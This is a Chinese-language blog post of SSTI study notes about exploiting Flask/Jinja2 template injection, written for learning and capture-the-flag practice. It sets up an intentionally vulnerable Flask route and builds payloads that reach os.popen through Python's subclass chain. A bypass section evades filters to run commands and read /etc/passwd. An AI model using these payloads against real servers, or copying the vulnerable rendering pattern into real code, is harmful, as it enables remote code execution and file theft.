ssti学习

ssti学习

十月 28, 2019

ssti学习笔记

SSTI(Server-Side Template Injection) 服务端模板注入。看到注入,就会想到常见的一些Web注入漏洞:sql注入,xss注入,xpath注入,xml注入,代码注入,命令注入等。 注入漏洞的实质是服务端接受了用户的输入,未过滤或过滤不严谨执行了拼接了用户输入的代码,因此造成了各类注入。

服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。本文着重对flask模板注入进行浅析。

其实python的ssti和沙盒逃逸的payload差不多

动手测试

这里主要记录一下python的ssti,以及一些bypass的套路

搭建python环境

Flask是一个使用Python编写的轻量级web应用框架,其WSGI工具箱采用Werkzeug,模板引擎则使用jinjia2

image-20191028185502792

使用jinjia2作为模板语言,

总体框架

├── app.py  
├── static  
│   └── style.css  
└── templates  
    └── index.html

这里给一个测试样例,把debug开启

from flask import Flask
from flask import request
from flask import render_template_string

app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.url)

    return render_template_string(template)

if __name__ == '__main__':
    app.debug = True
    app.run()

配置了一个test路由,访问

http://127.0.0.1:5000/test

image-20191028192631879

将request.url当做字符串渲染,并且可控,这是在CTF中的常考基础题型,即报错404的时候放回当前错误的url

我们对代码稍作更改

from flask import Flask
from flask import request
from flask import render_template_string

app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.args.get("key"))

    return render_template_string(template)

if __name__ == '__main__':
    app.debug = True
    app.run()

用request.arg.get(“key”)去替代

image-20191028193308722

这个时候传参2(记得urlencode,不然+会有问题)

这时候模板渲染生效得到的就是2了

构造poc

当没有过滤的时候,我们能够利用模板渲染注入做到什么效果,已经如何构造一个poc?

模板渲染的主要利用点在于命令执行,如果过滤比较严格,可能只能做到敏感文件的泄露

如何构造poc呢(python沙盒逃逸一样)?

首先,在python中,object类是Python中所有类的基类,如果定义一个类是没有指定继承,默认继承object类

先研究python3

print("".__class__)
#<class 'str'>

*””*是一个字符串,__class__方法和type()一样,返回类型,这是个str类

print("".__class__.__bases__)
#(<class 'object'>,)

print("".__class__.__mro__)
#(<class 'str'>, <class 'object'>)

在python中,每个类都有基类

__bases__是列出所有的基类

_mro_ ( method resolution order ) 列出解析方法调用顺序

ssti中主要的poc来源都是从objectleukemia中寻找可利用的类的方法

print("".__class__.__bases__[0].__subclasses__())
#[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, ...,<class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]

subclasses() 返回这个类的所有子类的集合

python3和pyhton2的不太一样

寻找可利用的类型,这里举个例子

从后往前发现一个type <class ‘os._wrap_close’> 熟悉的os,找到它是倒数第4个

print("".__class__.__bases__[0].__subclasses__()[-4])
#<class 'os._wrap_close'>
print("".__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__)

.init.globals 初始化一个类,然后globals全局查找所有的方法以及变量和参数

其中一个可利用的function popen, python2中可找file读取文件

print("".__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['popen']('dir').read())

image-20191028201508141

利用完成,此时以及达到命令执行的效果

python3每次运行flask,object子类的位置都会改变,不知道是什么原因,Orz

Bypass

  • 过滤[]

    使用__getitem绕过

    "".__class__.__mro__[1]
    => .__class__.__mro__.__getitem__(1)
  • 可以import一些库

    import timeit
    print(timeit.timeit("__import__('os').system('dir')",number = 1))
    import platform
    print(platform.popen('dir').read())
  • 常见poc

      ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
    
      object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
    
      {{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}
    
    
globals()['__loader__']().load_module('os').system('dir')
```
  • jinjia2中存在的对象,如request

    ''.__class__.__mro__[2]
    {}.__class__.__bases__[0]
    ().__class__.__bases__[0]
    [].__class__.__bases__[0]
    request.__class__.__mro__[8]
  • 过滤引号

    • 先获取chr函数,赋值给chr,然后拼接

        {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}

      其实也可以调用内部方法然后裁剪拼接字符串

    • 借助request对象(或者session对象)

      {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
  • 在jinjia2中可以用|attr去调用属性

    ()|attr('__class__')|attr('__base__') #绕过[]
    ()|attr(request.args.para1)&para1=__class__ #绕过引号
    • 绕过_
      {{(()|attr(request.args.param)|attr(request.args.param1)|attr(request.args.param2)()).pop(40)(request.args.file).read()}}&param=__class__&param1=__base__&param2=__subclasses__&file=/etc/passwd
    • 绕过[
      {{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen('whoami').read()}} #python2

Reference

本文作者: Char0n
本文地址: http://charon.xin/2019/10/28/ssti学习/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 3.0 CN 许可协议。转载请注明出处!